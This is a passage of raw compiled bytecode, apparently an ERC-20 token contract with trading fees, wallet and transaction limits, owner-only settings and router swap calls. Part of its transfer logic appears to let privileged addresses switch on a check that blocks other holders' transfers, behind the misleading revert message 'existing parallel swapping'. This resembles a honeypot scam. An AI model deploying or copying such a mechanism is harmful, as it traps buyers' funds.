0160002054905082811015611479576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611470906149da565b60405180910390fd5b61148d856114856126f2565b8584036126fa565b60019150509392505050565b61dead81565b60006114c08330846114b18730612420565b6114bb91906149fa565b6126fa565b6001905092915050565b60006012905090565b60006115756114e06126f2565b8484600160006114ee6126f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157091906149fa565b6126fa565b6001905092915050565b7f0000000000000000000000005f0aef046edb618fd979cd16c42cd0dc79ce358e81565b600860009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d5481565b600860029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116756126f2565b73ffffffffffffffffffffffffffffffffffffffff16611693611a0b565b73ffffffffffffffffffffffffffffffffffffffff16146116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090614600565b60405180910390fd5b6116f3600061364f565b565b60006116ff6126f2565b73ffffffffffffffffffffffffffffffffffffffff1661171d611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a90614600565b60405180910390fd5b6000600860006101000a81548160ff0219169083151502179055507f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef60405160405180910390a16001905090565b6117c96126f2565b73ffffffffffffffffffffffffffffffffffffffff166117e7611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461183d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183490614600565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b6118a66126f2565b73ffffffffffffffffffffffffffffffffffffffff166118c4611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191190614600565b60405180910390fd5b82600a8190555081600b8190555080600c81905550600c54600b54600a5461194291906149fa565b61194c91906149fa565b600981905550505050565b61195f6126f2565b73ffffffffffffffffffffffffffffffffffffffff1661197d611a0b565b73ffffffffffffffffffffffffffffffffffffffff16146119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca90614600565b60405180910390fd5b6001600860016101000a81548160ff0219169083151502179055506001600860026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b611a436126f2565b73ffffffffffffffffffffffffffffffffffffffff16611a61611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90614600565b60405180910390fd5b80600860026101000a81548160ff02191690831515021790555050565b606060048054611ae390614583565b80601f0160208091040260200160405190810160405280929190818152602001828054611b0f90614583565b8015611b5c5780601f10611b3157610100808354040283529160200191611b5c565b820191906000526020600020905b815481529060010190602001808311611b3f57829003601f168201915b5050505050905090565b611b6e6126f2565b73ffffffffffffffffffffffffffffffffffffffff16611b8c611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990614600565b60405180910390fd5b7f0000000000000000000000005f0aef046edb618fd979cd16c42cd0dc79ce358e73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6790614aa0565b60405180910390fd5b611c7a8282613715565b5050565b600c5481565b60135481565b601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d345780601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60008060016000611d736126f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2790614b32565b60405180910390fd5b611e44611e3b6126f2565b858584036126fa565b600191505092915050565b6000611e63611e5c6126f2565b848461294a565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ec757600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d6020528060005260406000206000915054906101000a900460ff1681565b600860019054906101000a900460ff1681565b611fc26126f2565b73ffffffffffffffffffffffffffffffffffffffff16611fe0611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90614600565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120d3919061425b565b60405180910390a25050565b6120e76126f2565b73ffffffffffffffffffffffffffffffffffffffff16612105611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461215b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215290614600565b60405180910390fd5b82600e8190555081600f8190555080601081905550601054600f54600e5461218391906149fa565b61218d91906149fa565b600d81905550505050565b6121a06126f2565b73ffffffffffffffffffffffffffffffffffffffff166121be611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220b90614600565b60405180910390fd5b670de0b6b3a76400006103e8600561222a610e91565b6122349190614834565b61223e91906148a5565b61224891906148a5565b81101561228a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228190614bc4565b60405180910390fd5b670de0b6b3a76400008161229e9190614834565b60198190555050565b60175481565b60076020528060005260406000206000915090505481565b60006122cf6126f2565b73ffffffffffffffffffffffffffffffffffffffff166122ed611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233a90614600565b60405180910390fd5b620186a06001612351610e91565b61235b9190614834565b61236591906148a5565b8210156123a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239e90614c56565b60405180910390fd5b6103e860056123b4610e91565b6123be9190614834565b6123c891906148a5565b82111561240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614ce8565b60405180910390fd5b8160188190555060019050919050565b60095481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b600b5481565b6124bb6126f2565b73ffffffffffffffffffffffffffffffffffffffff166124d9611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461252f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252690614600565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361259e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259590614d7a565b60405180910390fd5b6125a78161364f565b50565b600f5481565b60195481565b6125be6126f2565b73ffffffffffffffffffffffffffffffffffffffff166125dc611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614612632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262990614600565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8e4fb3162b55d3fcdb7507ecfed5ab4ea5d2bd7494d0bb621d698a52ea3f74b460405160405180910390a380601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612769576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276090614e0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127cf90614e9e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128b6919061432c565b60405180910390a3505050565b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161290093929190614ebe565b6020604051808303816000875af115801561291f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129439190614f0a565b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b090614fa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1f9061503b565b60405180910390fd5b60008103612a4157612a3c838360006137b6565b61364a565b600860009054906101000a900460ff1615612f3c57612a5e611a0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612acc5750612a9c611a0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b055750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b3f575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b585750600860039054906101000a900460ff16155b15612f3b57600860019054906101000a900460ff16612c5257601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c125750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906150a7565b60405180910390fd5b5b601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612cf55750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d9c57601754811115612d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3690615139565b60405180910390fd5b601954612d4b83611625565b82612d5691906149fa565b1115612d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8e906151a5565b60405180910390fd5b612f3a565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e3f5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612e8e57601754811115612e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8090615237565b60405180910390fd5b612f39565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f3857601954612eeb83611625565b82612ef691906149fa565b1115612f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2e906151a5565b60405180910390fd5b5b5b5b5b5b6000612f4730611625565b9050600060185482101590507f0000000000000000000000005f0aef046edb618fd979cd16c42cd0dc79ce358e73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603613037576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036130325743600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61308e565b600860039054906101000a900460ff1661308d5784600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b8080156130a75750600860029054906101000a900460ff165b80156130c05750600860039054906101000a900460ff16155b80156131165750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561316c5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131c25750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613206576001600860036101000a81548160ff0219169083151502179055506131ea613a35565b6000600860036101000a81548160ff0219169083151502179055505b6000600860039054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132bc5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132c657600090505b601e60009054906101000a900460ff16156133c157601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166133c057601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166133bf5760006133be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133b5906152c9565b60405180910390fd5b5b5b5b6000811561363a57601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561342457506000600d54115b156134f1576134516064613443600d5488613d3090919063ffffffff16565b613d4690919063ffffffff16565b9050600d54600f54826134649190614834565b61346e91906148a5565b6012600082825461347f91906149fa565b92505081905550600d54601054826134979190614834565b6134a191906148a5565b601360008282546134b291906149fa565b92505081905550600d54600e54826134ca9190614834565b6134d491906148a5565b601160008282546134e591906149fa565b92505081905550613616565b601d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561354c57506000600954115b1561361557613579606461356b60095488613d3090919063ffffffff16565b613d4690919063ffffffff16565b9050600954600b548261358c9190614834565b61359691906148a5565b601260008282546135a791906149fa565b92505081905550600954600c54826135bf9190614834565b6135c991906148a5565b601360008282546135da91906149fa565b92505081905550600954600a54826135f29190614834565b6135fc91906148a5565b6011600082825461360d91906149fa565b925050819055505b5b600081111561362b5761362a8730836137b6565b5b808561363791906152e9565b94505b6136458787876137b6565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161381c90614fa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161388b9061503b565b60405180910390fd5b61389f838383613d5c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161391c9061538f565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546139b891906149fa565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613a1c919061432c565b60405180910390a3613a2f848484613d61565b50505050565b6000613a4030611625565b90506000601354601154601254613a5791906149fa565b613a6191906149fa565b9050600080831480613a735750600082145b15613a8057505050613d2e565b6002601854613a8f9190614834565b831115613aa8576002601854613aa59190614834565b92505b600060028360125486613abb9190614834565b613ac591906148a5565b613acf91906148a5565b90506000613ae68286613d6690919063ffffffff16565b90506000479050613af682613d7c565b6000613b0b8247613d6690919063ffffffff16565b90506000613b3687613b2860115485613d3090919063ffffffff16565b613d4690919063ffffffff16565b90506000613b6188613b5360135486613d3090919063ffffffff16565b613d4690919063ffffffff16565b90506000818385613b7291906152e9565b613b7c91906152e9565b9050600060128190555060006011819055506000601381905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613bdc906153e0565b60006040518083038185875af1925050503d8060008114613c19576040519150601f19603f3d011682016040523d82523d6000602084013e613c1e565b606091505b50508098505087613c2e57600080fd5b600087118015613c3e5750600081115b15613c8b57613c4d8782613fb9565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601254604051613c82939291906153f5565b60405180910390a15b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613cd1906153e0565b60006040518083038185875af1925050503d8060008114613d0e576040519150601f19603f3d011682016040523d82523d6000602084013e613d13565b606091505b50508098505087613d2357600080fd5b505050505050505050505b565b60008183613d3e9190614834565b905092915050565b60008183613d5491906148a5565b905092915050565b505050565b505050565b60008183613d7491906152e9565b905092915050565b6000600267ffffffffffffffff811115613d9957613d98614620565b5b604051908082528060200260200182016040528015613dc75781602001602082028036833780820191505090505b5090503081600081518110613ddf57613dde614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613e84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ea89190614664565b81600181518110613ebc57613ebb614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f21307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846126fa565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613f8395949392919061542c565b600060405180830381600087803b158015613f9d57600080fd5b505af1158015613fb1573d6000803e3d6000fd5b505050505050565b613fe4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846126fa565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161406b96959493929190615486565b60606040518083038185885af1158015614089573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906140ae91906154fc565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156140ef5780820151818401526020810190506140d4565b60008484015250505050565b6000601f19601f8301169050919050565b6000614117826140b5565b61412181856140c0565b93506141318185602086016140d1565b61413a816140fb565b840191505092915050565b6000602082019050818103600083015261415f818461410c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006141978261416c565b9050919050565b6141a78161418c565b81146141b257600080fd5b50565b6000813590506141c48161419e565b92915050565b6000819050919050565b6141dd816141ca565b81146141e857600080fd5b50565b6000813590506141fa816141d4565b92915050565b6000806040838503121561421757614216614167565b5b6000614225858286016141b5565b9250506020614236858286016141eb565b9150509250929050565b60008115159050919050565b61425581614240565b82525050565b6000602082019050614270600083018461424c565b92915050565b60006020828403121561428c5761428b614167565b5b600061429a848285016141b5565b91505092915050565b6000819050919050565b60006142c86142c36142be8461416c565b6142a3565b61416c565b9050919050565b60006142da826142ad565b9050919050565b60006142ec826142cf565b9050919050565b6142fc816142e1565b82525050565b600060208201905061431760008301846142f3565b92915050565b614326816141ca565b82525050565b6000602082019050614341600083018461431d565b92915050565b6000806000606084860312156143605761435f614167565b5b600061436e868287016141b5565b935050602061437f868287016141b5565b9250506040614390868287016141eb565b9150509250925092565b6000602082840312156143b0576143af614167565b5b60006143be848285016141eb565b91505092915050565b6143d08161418c565b82525050565b60006020820190506143eb60008301846143c7565b92915050565b600060ff82169050919050565b614407816143f1565b82525050565b600060208201905061442260008301846143fe565b92915050565b61443181614240565b811461443c57600080fd5b50565b60008135905061444e81614428565b92915050565b6000806040838503121561446b5761446a614167565b5b6000614479858286016141b5565b925050602061448a8582860161443f565b9150509250929050565b6000806000606084860312156144ad576144ac614167565b5b60006144bb868287016141eb565b93505060206144cc868287016141eb565b92505060406144dd868287016141eb565b9150509250925092565b6000602082840312156144fd576144fc614167565b5b600061450b8482850161443f565b91505092915050565b6000806040838503121561452b5761452a614167565b5b6000614539858286016141b5565b925050602061454a858286016141b5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061459b57607f821691505b6020821081036145ae576145ad614554565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006145ea6020836140c0565b91506145f5826145b4565b602082019050919050565b60006020820190508181036000830152614619816145dd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061465e8161419e565b92915050565b60006020828403121561467a57614679614167565b5b60006146888482850161464f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006146e56146e06146db846146c0565b6142a3565b6141ca565b9050919050565b6146f5816146ca565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6147308161418c565b82525050565b60006147428383614727565b60208301905092915050565b6000602082019050919050565b6000614766826146fb565b6147708185614706565b935061477b83614717565b8060005b838110156147ac5781516147938882614736565b975061479e8361474e565b92505060018101905061477f565b5085935050505092915050565b60006080820190506147ce60008301876146ec565b81810360208301526147e0818661475b565b90506147ef60408301856143c7565b6147fc606083018461431d565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061483f826141ca565b915061484a836141ca565b9250828202614858816141ca565b9150828204841483151761486f5761486e614805565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006148b0826141ca565b91506148bb836141ca565b9250826148cb576148ca614876565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614932602f836140c0565b915061493d826148d6565b604082019050919050565b6000602082019050818103600083015261496181614925565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006149c46028836140c0565b91506149cf82614968565b604082019050919050565b600060208201905081810360008301526149f3816149b7565b9050919050565b6000614a05826141ca565b9150614a10836141ca565b9250828201905080821115614a2857614a27614805565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614a8a6039836140c0565b9150614a9582614a2e565b604082019050919050565b60006020820190508181036000830152614ab981614a7d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000614b1c6025836140c0565b9150614b2782614ac0565b604082019050919050565b60006020820190508181036000830152614b4b81614b0f565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614bae6024836140c0565b9150614bb982614b52565b604082019050919050565b60006020820190508181036000830152614bdd81614ba1565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c406035836140c0565b9150614c4b82614be4565b604082019050919050565b60006020820190508181036000830152614c6f81614c33565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614cd26034836140c0565b9150614cdd82614c76565b604082019050919050565b60006020820190508181036000830152614d0181614cc5565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d646026836140c0565b9150614d6f82614d08565b604082019050919050565b60006020820190508181036000830152614d9381614d57565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614df66024836140c0565b9150614e0182614d9a565b604082019050919050565b60006020820190508181036000830152614e2581614de9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e886022836140c0565b9150614e9382614e2c565b604082019050919050565b60006020820190508181036000830152614eb781614e7b565b9050919050565b6000606082019050614ed360008301866143c7565b614ee060208301856143c7565b614eed604083018461431d565b949350505050565b600081519050614f0481614428565b92915050565b600060208284031215614f2057614f1f614167565b5b6000614f2e84828501614ef5565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614f936025836140c0565b9150614f9e82614f37565b604082019050919050565b60006020820190508181036000830152614fc281614f86565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150256023836140c0565b915061503082614fc9565b604082019050919050565b6000602082019050818103600083015261505481615018565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006150916016836140c0565b915061509c8261505b565b602082019050919050565b600060208201905081810360008301526150c081615084565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006151236035836140c0565b915061512e826150c7565b604082019050919050565b6000602082019050818103600083015261515281615116565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061518f6013836140c0565b915061519a82615159565b602082019050919050565b600060208201905081810360008301526151be81615182565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006152216036836140c0565b915061522c826151c5565b604082019050919050565b6000602082019050818103600083015261525081615214565b9050919050565b7f6578697374696e672070617272616c6c656c207377617070696e672c2063616e60008201527f277420616c6c6f7720646f75626c650000000000000000000000000000000000602082015250565b60006152b3602f836140c0565b91506152be82615257565b604082019050919050565b600060208201905081810360008301526152e2816152a6565b9050919050565b60006152f4826141ca565b91506152ff836141ca565b925082820390508181111561531757615316614805565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006153796026836140c0565b91506153848261531d565b604082019050919050565b600060208201905081810360008301526153a88161536c565b9050919050565b600081905092915050565b50565b60006153ca6000836153af565b91506153d5826153ba565b600082019050919050565b60006153eb826153bd565b9150819050919050565b600060608201905061540a600083018661431d565b615417602083018561431d565b615424604083018461431d565b949350505050565b600060a082019050615441600083018861431d565b61544e60208301876146ec565b8181036040830152615460818661475b565b905061546f60608301856143c7565b61547c608083018461431d565b9695505050505050565b600060c08201905061549b60008301896143c7565b6154a8602083018861431d565b6154b560408301876146ec565b6154c260608301866146ec565b6154cf60808301856143c7565b6154dc60a083018461431d565b979650505050505050565b6000815190506154f6816141d4565b92915050565b60008060006060848603121561551557615514614167565b5b6000615523868287016154e7565b9350506020615534868287016154e7565b9250506040615545868287016154e7565b915050925092509256fea26469706673582212207313be33b41f641d230bbcd9e762648d20